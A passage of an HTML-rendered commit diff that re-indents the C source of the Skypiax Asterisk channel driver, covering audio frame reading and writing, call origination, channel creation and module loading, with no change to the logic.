</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
-  static struct ast_frame f;
-  static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
-  short *buf;
-  int samples;
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
+        static struct ast_frame f;
+        static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
+        short *buf;
+        int samples;
</ins><span class="cx"> 
</span><span class="cx"> /* if there are control frames queued to be sent by skypiax_queue_control, send it the first */
</span><span class="cx"> //TODO maybe better a real queue?
</span><del>-  if (p &amp;&amp; p-&gt;owner &amp;&amp; p-&gt;control_to_send) {
-    ast_queue_control(p-&gt;owner, p-&gt;control_to_send);
-    DEBUGA_PBX(&quot;Sent CONTROL FRAME %d\n&quot;, SKYPIAX_P_LOG, p-&gt;control_to_send);
-    p-&gt;control_to_send = 0;
-  }
</del><ins>+        if (p &amp;&amp; p-&gt;owner &amp;&amp; p-&gt;control_to_send) {
+                ast_queue_control(p-&gt;owner, p-&gt;control_to_send);
+                DEBUGA_PBX(&quot;Sent CONTROL FRAME %d\n&quot;, SKYPIAX_P_LOG, p-&gt;control_to_send);
+                p-&gt;control_to_send = 0;
+        }
</ins><span class="cx"> 
</span><del>-  memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
</del><ins>+        memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
</ins><span class="cx"> 
</span><del>-  buf = __buf + AST_FRIENDLY_OFFSET / 2;
</del><ins>+        buf = __buf + AST_FRIENDLY_OFFSET / 2;
</ins><span class="cx"> 
</span><del>-  f.frametype = AST_FRAME_NULL;
-  f.subclass = 0;
-  f.samples = 0;
-  f.datalen = 0;
-  f.data = NULL;
-  f.offset = 0;
-  f.src = skypiax_type;
-  f.mallocd = 0;
-  f.delivery.tv_sec = 0;
-  f.delivery.tv_usec = 0;
</del><ins>+        f.frametype = AST_FRAME_NULL;
+        f.subclass = 0;
+        f.samples = 0;
+        f.datalen = 0;
+        f.data = NULL;
+        f.offset = 0;
+        f.src = skypiax_type;
+        f.mallocd = 0;
+        f.delivery.tv_sec = 0;
+        f.delivery.tv_usec = 0;
</ins><span class="cx"> 
</span><span class="cx"> /* if the call is not active (ie: answered), do not send audio frames, they would pile up in a lag queue */
</span><del>-  if (p-&gt;owner &amp;&amp; p-&gt;owner-&gt;_state != SKYPIAX_STATE_UP) {
-    return &amp;f;
-  }
</del><ins>+        if (p-&gt;owner &amp;&amp; p-&gt;owner-&gt;_state != SKYPIAX_STATE_UP) {
+                return &amp;f;
+        }
</ins><span class="cx"> 
</span><del>-  if ((samples = read(p-&gt;audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
-    DEBUGA_SOUND(&quot;read=====&gt; NOT GOOD samples=%d expected=%d\n&quot;, SKYPIAX_P_LOG, samples,
-                 SAMPLES_PER_FRAME * sizeof(short));
-    usleep(100);
-    //do nothing
-  } else {
-    //DEBUGA_SOUND(&quot;read=====&gt; GOOD samples=%d\n&quot;, SKYPIAX_P_LOG, samples);
-    /* A real frame */
-    f.frametype = AST_FRAME_VOICE;
-    f.subclass = AST_FORMAT_SLINEAR;
-    f.samples = SKYPIAX_FRAME_SIZE;
-    f.datalen = SKYPIAX_FRAME_SIZE * 2;
-    f.data = buf;
-    f.offset = AST_FRIENDLY_OFFSET;
-    f.src = skypiax_type;
-    f.mallocd = 0;
</del><ins>+        if ((samples = read(p-&gt;audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
+                DEBUGA_SOUND(&quot;read=====&gt; NOT GOOD samples=%d expected=%d\n&quot;, SKYPIAX_P_LOG, samples, SAMPLES_PER_FRAME * sizeof(short));
+                usleep(100);
+                //do nothing
+        } else {
+                //DEBUGA_SOUND(&quot;read=====&gt; GOOD samples=%d\n&quot;, SKYPIAX_P_LOG, samples);
+                /* A real frame */
+                f.frametype = AST_FRAME_VOICE;
+                f.subclass = AST_FORMAT_SLINEAR;
+                f.samples = SKYPIAX_FRAME_SIZE;
+                f.datalen = SKYPIAX_FRAME_SIZE * 2;
+                f.data = buf;
+                f.offset = AST_FRIENDLY_OFFSET;
+                f.src = skypiax_type;
+                f.mallocd = 0;
</ins><span class="cx"> 
</span><del>-    if (p-&gt;capture_boost)
-      skypiax_sound_boost(&amp;f, p-&gt;capture_boost);
-  }
</del><ins>+                if (p-&gt;capture_boost)
+                        skypiax_sound_boost(&amp;f, p-&gt;capture_boost);
+        }
</ins><span class="cx"> 
</span><del>-  return &amp;f;
</del><ins>+        return &amp;f;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Initiate skypiax call from PBX 
</span><span class="lines">@@ -604,210 +589,199 @@
</span><span class="cx">  */
</span><span class="cx"> int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = NULL;
-  p = c-&gt;tech_pvt;
-  char rdest[80], *where, dstr[100] = &quot;&quot;;
-  char *stringp = NULL;
-  int status;
</del><ins>+        struct skypiax_pvt *p = NULL;
+        p = c-&gt;tech_pvt;
+        char rdest[80], *where, dstr[100] = &quot;&quot;;
+        char *stringp = NULL;
+        int status;
</ins><span class="cx"> 
</span><del>-  if ((c-&gt;_state != SKYPIAX_STATE_DOWN)
-      &amp;&amp; (c-&gt;_state != SKYPIAX_STATE_RESERVED)) {
-    ERRORA(&quot;skypiax_originate_call called on %s, neither down nor reserved\n&quot;,
-           SKYPIAX_P_LOG, c-&gt;name);
-    return -1;
-  }
</del><ins>+        if ((c-&gt;_state != SKYPIAX_STATE_DOWN)
+                &amp;&amp; (c-&gt;_state != SKYPIAX_STATE_RESERVED)) {
+                ERRORA(&quot;skypiax_originate_call called on %s, neither down nor reserved\n&quot;, SKYPIAX_P_LOG, c-&gt;name);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  DEBUGA_PBX(&quot;skypiax_originate_call to call idest: %s, timeout: %d!\n&quot;, SKYPIAX_P_LOG,
-             idest, timeout);
</del><ins>+        DEBUGA_PBX(&quot;skypiax_originate_call to call idest: %s, timeout: %d!\n&quot;, SKYPIAX_P_LOG, idest, timeout);
</ins><span class="cx"> 
</span><del>-  strncpy(rdest, idest, sizeof(rdest) - 1);
-  stringp = rdest;
-  strsep(&amp;stringp, &quot;/&quot;);
-  where = strsep(&amp;stringp, &quot;/&quot;);
-  if (!where) {
-    ERRORA(&quot;Destination %s requires an actual destination (Skypiax/device/destination)\n&quot;,
-           SKYPIAX_P_LOG, idest);
-    return -1;
-  }
</del><ins>+        strncpy(rdest, idest, sizeof(rdest) - 1);
+        stringp = rdest;
+        strsep(&amp;stringp, &quot;/&quot;);
+        where = strsep(&amp;stringp, &quot;/&quot;);
+        if (!where) {
+                ERRORA(&quot;Destination %s requires an actual destination (Skypiax/device/destination)\n&quot;, SKYPIAX_P_LOG, idest);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  strncpy(dstr, where + p-&gt;stripmsd, sizeof(dstr) - 1);
-  DEBUGA_PBX(&quot;skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n&quot;,
-             SKYPIAX_P_LOG, idest, timeout, dstr);
</del><ins>+        strncpy(dstr, where + p-&gt;stripmsd, sizeof(dstr) - 1);
+        DEBUGA_PBX(&quot;skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n&quot;, SKYPIAX_P_LOG, idest, timeout, dstr);
</ins><span class="cx"> 
</span><del>-  strcpy(p-&gt;session_uuid_str, &quot;dialing&quot;);
-  status = skypiax_call(p, dstr, timeout);
-  if (status) {
-    WARNINGA(&quot;skypiax_originate_call dialing failed: %d!\n&quot;, SKYPIAX_P_LOG, status);
-    return -1;
-  }
</del><ins>+        strcpy(p-&gt;session_uuid_str, &quot;dialing&quot;);
+        status = skypiax_call(p, dstr, timeout);
+        if (status) {
+                WARNINGA(&quot;skypiax_originate_call dialing failed: %d!\n&quot;, SKYPIAX_P_LOG, status);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  DEBUGA_PBX(&quot;skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n&quot;,
-             SKYPIAX_P_LOG, idest, timeout, dstr);
</del><ins>+        DEBUGA_PBX(&quot;skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n&quot;, SKYPIAX_P_LOG, idest, timeout, dstr);
</ins><span class="cx"> 
</span><del>-  ast_setstate(p-&gt;owner, SKYPIAX_STATE_DIALING);
-  return 0;
</del><ins>+        ast_setstate(p-&gt;owner, SKYPIAX_STATE_DIALING);
+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_sound_boost(struct ast_frame *f, double boost)
</span><span class="cx"> {
</span><span class="cx"> /* LUIGI RIZZO's magic */
</span><del>-  if (boost != 0) {             /* scale and clip values */
-    int i, x;
-    int16_t *ptr = (int16_t *) f-&gt;data;
-    for (i = 0; i &lt; f-&gt;samples; i++) {
-      x = (ptr[i] * boost) / BOOST_SCALE;
-      if (x &gt; 32767) {
-        x = 32767;
-      } else if (x &lt; -32768) {
-        x = -32768;
-      }
-      ptr[i] = x;
-    }
-  }
-  return 0;
</del><ins>+        if (boost != 0) {                        /* scale and clip values */
+                int i, x;
+                int16_t *ptr = (int16_t *) f-&gt;data;
+                for (i = 0; i &lt; f-&gt;samples; i++) {
+                        x = (ptr[i] * boost) / BOOST_SCALE;
+                        if (x &gt; 32767) {
+                                x = 32767;
+                        } else if (x &lt; -32768) {
+                                x = -32768;
+                        }
+                        ptr[i] = x;
+                }
+        }
+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Send audio frame to channel */
</span><span class="cx"> int skypiax_write(struct ast_channel *c, struct ast_frame *f)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = c-&gt;tech_pvt;
-  int sent;
</del><ins>+        struct skypiax_pvt *p = c-&gt;tech_pvt;
+        int sent;
</ins><span class="cx"> 
</span><del>-  if (p-&gt;owner &amp;&amp; p-&gt;owner-&gt;_state != SKYPIAX_STATE_UP) {
-    return 0;
-  }
-  if (p-&gt;playback_boost)
-    skypiax_sound_boost(f, p-&gt;playback_boost);
</del><ins>+        if (p-&gt;owner &amp;&amp; p-&gt;owner-&gt;_state != SKYPIAX_STATE_UP) {
+                return 0;
+        }
+        if (p-&gt;playback_boost)
+                skypiax_sound_boost(f, p-&gt;playback_boost);
</ins><span class="cx"> 
</span><del>-  sent = write(p-&gt;audioskypepipe[1], (short *) f-&gt;data, f-&gt;datalen);
-  //skypiax_sound_write(p, f);
</del><ins>+        sent = write(p-&gt;audioskypepipe[1], (short *) f-&gt;data, f-&gt;datalen);
+        //skypiax_sound_write(p, f);
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief  Fix up a channel:  If a channel is consumed, this is called.
</span><span class="cx">  * Basically update any -&gt;owner links */
</span><span class="cx"> int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = newchan-&gt;tech_pvt;
</del><ins>+        struct skypiax_pvt *p = newchan-&gt;tech_pvt;
</ins><span class="cx"> 
</span><del>-  if (!p) {
-    ERRORA(&quot;No pvt after masquerade. Strange things may happen\n&quot;, SKYPIAX_P_LOG);
-    return -1;
-  }
</del><ins>+        if (!p) {
+                ERRORA(&quot;No pvt after masquerade. Strange things may happen\n&quot;, SKYPIAX_P_LOG);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  if (p-&gt;owner != oldchan) {
-    ERRORA(&quot;old channel wasn't %p but was %p\n&quot;, SKYPIAX_P_LOG, oldchan, p-&gt;owner);
-    return -1;
-  }
</del><ins>+        if (p-&gt;owner != oldchan) {
+                ERRORA(&quot;old channel wasn't %p but was %p\n&quot;, SKYPIAX_P_LOG, oldchan, p-&gt;owner);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  p-&gt;owner = newchan;
-  return 0;
</del><ins>+        p-&gt;owner = newchan;
+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context)
</span><span class="cx"> {
</span><del>-  struct ast_channel *tmp;
</del><ins>+        struct ast_channel *tmp;
</ins><span class="cx"> 
</span><del>-  /* alloc a generic channel struct */
</del><ins>+        /* alloc a generic channel struct */
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><del>-  tmp = ast_channel_alloc(1);
</del><ins>+        tmp = ast_channel_alloc(1);
</ins><span class="cx"> #else
</span><del>-  //tmp = ast_channel_alloc(1, state, 0, 0, &quot;&quot;, p-&gt;exten, p-&gt;context, 0, &quot;&quot;);
-  //tmp = ast_channel_alloc(1, state, i-&gt;cid_num, i-&gt;cid_name, i-&gt;accountcode, i-&gt;exten, i-&gt;context, i-&gt;amaflags, &quot;Skypiax/%s&quot;, p-&gt;name);
-  tmp =
-    ast_channel_alloc(1, state, 0, 0, &quot;&quot;, p-&gt;exten, p-&gt;context, 0, &quot;Skypiax/%s&quot;, p-&gt;name);
</del><ins>+        //tmp = ast_channel_alloc(1, state, 0, 0, &quot;&quot;, p-&gt;exten, p-&gt;context, 0, &quot;&quot;);
+        //tmp = ast_channel_alloc(1, state, i-&gt;cid_num, i-&gt;cid_name, i-&gt;accountcode, i-&gt;exten, i-&gt;context, i-&gt;amaflags, &quot;Skypiax/%s&quot;, p-&gt;name);
+        tmp = ast_channel_alloc(1, state, 0, 0, &quot;&quot;, p-&gt;exten, p-&gt;context, 0, &quot;Skypiax/%s&quot;, p-&gt;name);
</ins><span class="cx"> 
</span><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><del>-  if (tmp) {
</del><ins>+        if (tmp) {
</ins><span class="cx"> 
</span><del>-    /* give a name to the newly created channel */
</del><ins>+                /* give a name to the newly created channel */
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><del>-    snprintf(tmp-&gt;name, sizeof(tmp-&gt;name), &quot;Skypiax/%s&quot;, p-&gt;name);
-    tmp-&gt;type = skypiax_type;
</del><ins>+                snprintf(tmp-&gt;name, sizeof(tmp-&gt;name), &quot;Skypiax/%s&quot;, p-&gt;name);
+                tmp-&gt;type = skypiax_type;
</ins><span class="cx"> #else /* ASTERISK_VERSION_1_4 */
</span><del>-    ast_string_field_build(tmp, name, &quot;Skypiax/%s&quot;, p-&gt;name);
</del><ins>+                ast_string_field_build(tmp, name, &quot;Skypiax/%s&quot;, p-&gt;name);
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><span class="cx"> 
</span><del>-    DEBUGA_PBX(&quot;new channel: name=%s requested_state=%d\n&quot;, SKYPIAX_P_LOG, tmp-&gt;name,
-               state);
</del><ins>+                DEBUGA_PBX(&quot;new channel: name=%s requested_state=%d\n&quot;, SKYPIAX_P_LOG, tmp-&gt;name, state);
</ins><span class="cx"> 
</span><del>-    /* fd for the channel to poll for incoming audio */
-    tmp-&gt;fds[0] = p-&gt;skypiax_sound_capt_fd;
</del><ins>+                /* fd for the channel to poll for incoming audio */
+                tmp-&gt;fds[0] = p-&gt;skypiax_sound_capt_fd;
</ins><span class="cx"> 
</span><del>-    /* audio formats managed */
-    tmp-&gt;nativeformats = AST_FORMAT_SLINEAR;
-    tmp-&gt;readformat = AST_FORMAT_SLINEAR;
-    tmp-&gt;writeformat = AST_FORMAT_SLINEAR;
-    /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
-    tmp-&gt;tech = &amp;skypiax_tech;
-    /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
-    tmp-&gt;tech_pvt = p;
</del><ins>+                /* audio formats managed */
+                tmp-&gt;nativeformats = AST_FORMAT_SLINEAR;
+                tmp-&gt;readformat = AST_FORMAT_SLINEAR;
+                tmp-&gt;writeformat = AST_FORMAT_SLINEAR;
+                /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
+                tmp-&gt;tech = &amp;skypiax_tech;
+                /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
+                tmp-&gt;tech_pvt = p;
</ins><span class="cx"> 
</span><del>-    /* copy this interface default context, extension, language to the newly created channel */
-    if (strlen(p-&gt;context))
-      strncpy(tmp-&gt;context, p-&gt;context, sizeof(tmp-&gt;context) - 1);
-    if (strlen(p-&gt;exten))
-      strncpy(tmp-&gt;exten, p-&gt;exten, sizeof(tmp-&gt;exten) - 1);
</del><ins>+                /* copy this interface default context, extension, language to the newly created channel */
+                if (strlen(p-&gt;context))
+                        strncpy(tmp-&gt;context, p-&gt;context, sizeof(tmp-&gt;context) - 1);
+                if (strlen(p-&gt;exten))
+                        strncpy(tmp-&gt;exten, p-&gt;exten, sizeof(tmp-&gt;exten) - 1);
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_4
</span><del>-    if (strlen(p-&gt;language))
-      strncpy(tmp-&gt;language, p-&gt;language, sizeof(tmp-&gt;language) - 1);
</del><ins>+                if (strlen(p-&gt;language))
+                        strncpy(tmp-&gt;language, p-&gt;language, sizeof(tmp-&gt;language) - 1);
</ins><span class="cx"> #else
</span><del>-    if (strlen(p-&gt;language))
-      ast_string_field_set(tmp, language, p-&gt;language);
</del><ins>+                if (strlen(p-&gt;language))
+                        ast_string_field_set(tmp, language, p-&gt;language);
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><del>-    /* copy the requested context (not necessarily the interface default) to the newly created channel */
-    if (strlen(context))
-      strncpy(tmp-&gt;context, context, sizeof(tmp-&gt;context) - 1);
</del><ins>+                /* copy the requested context (not necessarily the interface default) to the newly created channel */
+                if (strlen(context))
+                        strncpy(tmp-&gt;context, context, sizeof(tmp-&gt;context) - 1);
</ins><span class="cx"> 
</span><del>-    /* copy this interface default callerid in the newly created channel */
-    ast_set_callerid(tmp, !ast_strlen_zero(p-&gt;callid_number) ? p-&gt;callid_number : NULL,
-                     !ast_strlen_zero(p-&gt;callid_name) ? p-&gt;callid_name : NULL,
-                     !ast_strlen_zero(p-&gt;callid_number) ? p-&gt;callid_number : NULL);
</del><ins>+                /* copy this interface default callerid in the newly created channel */
+                ast_set_callerid(tmp, !ast_strlen_zero(p-&gt;callid_number) ? p-&gt;callid_number : NULL,
+                                                 !ast_strlen_zero(p-&gt;callid_name) ? p-&gt;callid_name : NULL, !ast_strlen_zero(p-&gt;callid_number) ? p-&gt;callid_number : NULL);
</ins><span class="cx"> 
</span><del>-    DEBUGA_PBX(&quot;callid_number=%s, callid_name=%s\n&quot;, SKYPIAX_P_LOG, p-&gt;callid_number,
-               p-&gt;callid_name);
</del><ins>+                DEBUGA_PBX(&quot;callid_number=%s, callid_name=%s\n&quot;, SKYPIAX_P_LOG, p-&gt;callid_number, p-&gt;callid_name);
</ins><span class="cx"> 
</span><del>-    /* the owner of this interface pvt is the newly created channel */
-    p-&gt;owner = tmp;
-    /* set the newly created channel state to the requested state */
-    if (ast_setstate(tmp, state)) {
-      ERRORA(&quot;ast_setstate failed, BAD\n&quot;, SKYPIAX_P_LOG);
-      //ast_dsp_free(p-&gt;dsp);
-      ast_channel_free(tmp);
-      return NULL;
-    }
-    /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
-    if (state != SKYPIAX_STATE_DOWN) {
-      DEBUGA_PBX(&quot;Try to start PBX on %s, state=%d\n&quot;, SKYPIAX_P_LOG, tmp-&gt;name, state);
-      if (ast_pbx_start(tmp)) {
-        ERRORA(&quot;Unable to start PBX on %s\n&quot;, SKYPIAX_P_LOG, tmp-&gt;name);
-        ast_channel_free(tmp);
-        return NULL;
-      }
-    }
-    /* let's start the serial monitoring thread too, so we can have serial signaling */
-    if (ast_pthread_create(&amp;p-&gt;controldev_thread, NULL, skypiax_do_controldev_thread, p) &lt;
-        0) {
-      ERRORA(&quot;Unable to start controldev thread.\n&quot;, SKYPIAX_P_LOG);
-      ast_channel_free(tmp);
-      tmp = NULL;
-    }
-    DEBUGA_SERIAL(&quot;STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n&quot;, SKYPIAX_P_LOG,
-                  (unsigned long) p-&gt;controldev_thread, (unsigned long) AST_PTHREADT_STOP,
-                  (unsigned long) AST_PTHREADT_NULL);
</del><ins>+                /* the owner of this interface pvt is the newly created channel */
+                p-&gt;owner = tmp;
+                /* set the newly created channel state to the requested state */
+                if (ast_setstate(tmp, state)) {
+                        ERRORA(&quot;ast_setstate failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                        //ast_dsp_free(p-&gt;dsp);
+                        ast_channel_free(tmp);
+                        return NULL;
+                }
+                /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
+                if (state != SKYPIAX_STATE_DOWN) {
+                        DEBUGA_PBX(&quot;Try to start PBX on %s, state=%d\n&quot;, SKYPIAX_P_LOG, tmp-&gt;name, state);
+                        if (ast_pbx_start(tmp)) {
+                                ERRORA(&quot;Unable to start PBX on %s\n&quot;, SKYPIAX_P_LOG, tmp-&gt;name);
+                                ast_channel_free(tmp);
+                                return NULL;
+                        }
+                }
+                /* let's start the serial monitoring thread too, so we can have serial signaling */
+                if (ast_pthread_create(&amp;p-&gt;controldev_thread, NULL, skypiax_do_controldev_thread, p) &lt; 0) {
+                        ERRORA(&quot;Unable to start controldev thread.\n&quot;, SKYPIAX_P_LOG);
+                        ast_channel_free(tmp);
+                        tmp = NULL;
+                }
+                DEBUGA_SERIAL(&quot;STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n&quot;, SKYPIAX_P_LOG,
+                                          (unsigned long) p-&gt;controldev_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
</ins><span class="cx"> 
</span><del>-    /* add one to the usage count of Skypiax-type channels */
-    LOKKA(&amp;skypiax_usecnt_lock);
-    skypiax_usecnt++;
-    UNLOCKA(&amp;skypiax_usecnt_lock);
-    ast_update_use_count();
</del><ins>+                /* add one to the usage count of Skypiax-type channels */
+                LOKKA(&amp;skypiax_usecnt_lock);
+                skypiax_usecnt++;
+                UNLOCKA(&amp;skypiax_usecnt_lock);
+                ast_update_use_count();
</ins><span class="cx"> 
</span><del>-    /* return the newly created channel */
-    return tmp;
-  }
-  ERRORA(&quot;failed memory allocation for Skypiax channel\n&quot;, SKYPIAX_P_LOG);
-  return NULL;
</del><ins>+                /* return the newly created channel */
+                return tmp;
+        }
+        ERRORA(&quot;failed memory allocation for Skypiax channel\n&quot;, SKYPIAX_P_LOG);
+        return NULL;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -824,108 +798,103 @@
</span><span class="cx">  */
</span><span class="cx"> int load_module(void)
</span><span class="cx"> {
</span><del>-  int i;
-  struct ast_config *cfg;
-  struct skypiax_pvt *tmp;
-  struct skypiax_pvt *p = NULL;
-  struct skypiax_pvt *p2 = NULL;
</del><ins>+        int i;
+        struct ast_config *cfg;
+        struct skypiax_pvt *tmp;
+        struct skypiax_pvt *p = NULL;
+        struct skypiax_pvt *p2 = NULL;
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_6
</span><del>-  struct ast_flags config_flags = { 0 };
</del><ins>+        struct ast_flags config_flags = { 0 };
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><span class="cx"> 
</span><span class="cx"> #if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
</span><span class="cx"> #ifndef __CYGWIN__
</span><del>-  if (!XInitThreads())
-    ast_log(LOG_ERROR, &quot;Not initialized XInitThreads!\n&quot;);
</del><ins>+        if (!XInitThreads())
+                ast_log(LOG_ERROR, &quot;Not initialized XInitThreads!\n&quot;);
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><span class="cx"> #if 0
</span><del>-  ast_register_atexit(skypiax_disconnect);
-  ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis,
-                           skype2skypiaxdescrip);
-  ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis,
-                           skypiax2skypedescrip);
</del><ins>+        ast_register_atexit(skypiax_disconnect);
+        ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis, skype2skypiaxdescrip);
+        ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis, skypiax2skypedescrip);
</ins><span class="cx"> #endif
</span><span class="cx"> #endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
</span><span class="cx"> 
</span><del>-  /* make sure we can register our channel type with Asterisk */
-  i = ast_channel_register(&amp;skypiax_tech);
-  if (i &lt; 0) {
-    ERRORA(&quot;Unable to register channel type '%s'\n&quot;, SKYPIAX_P_LOG, skypiax_type);
-    return -1;
-  }
-  /* load skypiax.conf config file */
</del><ins>+        /* make sure we can register our channel type with Asterisk */
+        i = ast_channel_register(&amp;skypiax_tech);
+        if (i &lt; 0) {
+                ERRORA(&quot;Unable to register channel type '%s'\n&quot;, SKYPIAX_P_LOG, skypiax_type);
+                return -1;
+        }
+        /* load skypiax.conf config file */
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_6
</span><del>-  cfg = ast_config_load(skypiax_config, config_flags);
</del><ins>+        cfg = ast_config_load(skypiax_config, config_flags);
</ins><span class="cx"> #else
</span><del>-  cfg = ast_config_load(skypiax_config);
</del><ins>+        cfg = ast_config_load(skypiax_config);
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><del>-  if (cfg != NULL) {
-    char *ctg = NULL;
-    int is_first_category = 1;
-    while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
-      /* create one interface for each category in skypiax.conf config file, first one set the defaults */
-      tmp = skypiax_mkif(cfg, ctg, is_first_category);
-      if (tmp) {
-        DEBUGA_PBX
-          (&quot;Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'&quot;
-           &quot;\n&quot;, SKYPIAX_P_LOG, ctg, tmp-&gt;name);
-        /* add interface to skypiax_iflist */
-        tmp-&gt;next = skypiax_iflist;
-        skypiax_iflist = tmp;
-        /* next one will not be the first ;) */
-        if (is_first_category == 1) {
-          is_first_category = 0;
-          skypiax_console_active = tmp-&gt;name;
-        }
-      } else {
-        ERRORA(&quot;Unable to create channel Skypiax from skypiax.conf category '[%s]'\n&quot;,
-               SKYPIAX_P_LOG, ctg);
-        /* if error, unload config from memory and return */
-        ast_config_destroy(cfg);
-        ast_channel_unregister(&amp;skypiax_tech);
-        return -1;
-      }
-      /* do it for each category described in config */
-    }
</del><ins>+        if (cfg != NULL) {
+                char *ctg = NULL;
+                int is_first_category = 1;
+                while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
+                        /* create one interface for each category in skypiax.conf config file, first one set the defaults */
+                        tmp = skypiax_mkif(cfg, ctg, is_first_category);
+                        if (tmp) {
+                                DEBUGA_PBX(&quot;Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'&quot; &quot;\n&quot;, SKYPIAX_P_LOG, ctg, tmp-&gt;name);
+                                /* add interface to skypiax_iflist */
+                                tmp-&gt;next = skypiax_iflist;
+                                skypiax_iflist = tmp;
+                                /* next one will not be the first ;) */
+                                if (is_first_category == 1) {
+                                        is_first_category = 0;
+                                        skypiax_console_active = tmp-&gt;name;
+                                }
+                        } else {
+                                ERRORA(&quot;Unable to create channel Skypiax from skypiax.conf category '[%s]'\n&quot;, SKYPIAX_P_LOG, ctg);
+                                /* if error, unload config from memory and return */
+                                ast_config_destroy(cfg);
+                                ast_channel_unregister(&amp;skypiax_tech);
+                                return -1;
+                        }
+                        /* do it for each category described in config */
+                }
</ins><span class="cx"> 
</span><del>-    /* we finished, unload config from memory */
-    ast_config_destroy(cfg);
-  } else {
-    ERRORA(&quot;Unable to load skypiax_config skypiax.conf\n&quot;, SKYPIAX_P_LOG);
-    ast_channel_unregister(&amp;skypiax_tech);
-    return -1;
-  }
</del><ins>+                /* we finished, unload config from memory */
+                ast_config_destroy(cfg);
+        } else {
+                ERRORA(&quot;Unable to load skypiax_config skypiax.conf\n&quot;, SKYPIAX_P_LOG);
+                ast_channel_unregister(&amp;skypiax_tech);
+                return -1;
+        }
</ins><span class="cx"> #ifndef ASTERISK_VERSION_1_6
</span><del>-  ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</del><ins>+        ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><del>-  /* start to monitor the interfaces (skypiax_iflist) for the first time */
-  if (skypiax_restart_monitor()) {
-    ERRORA(&quot;skypiax_restart_monitor failed, BAD\n&quot;, SKYPIAX_P_LOG);
-    return -1;
-  }
-  /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
-  p = skypiax_iflist;
-  while (p) {
-    int i;
-    /* for each interface in list */
-    p2 = p-&gt;next;
-    NOTICA(&quot;STARTING interface %s, please be patient\n&quot;, SKYPIAX_P_LOG, p-&gt;name);
-    i = 0;
-    while (p-&gt;SkypiaxHandles.api_connected == 0 &amp;&amp; running &amp;&amp; i &lt; 60000) {  // 60sec FIXME
-      usleep(1000);
-      i++;
-    }
-    if (p-&gt;SkypiaxHandles.api_connected) {
-      NOTICA(&quot;STARTED interface %s\n&quot;, SKYPIAX_P_LOG, p-&gt;name);
-    } else {
-      ERRORA(&quot;Interface %s FAILED to start\n&quot;, SKYPIAX_P_LOG, p-&gt;name);
-      running = 0;
-      return -1;
-    }
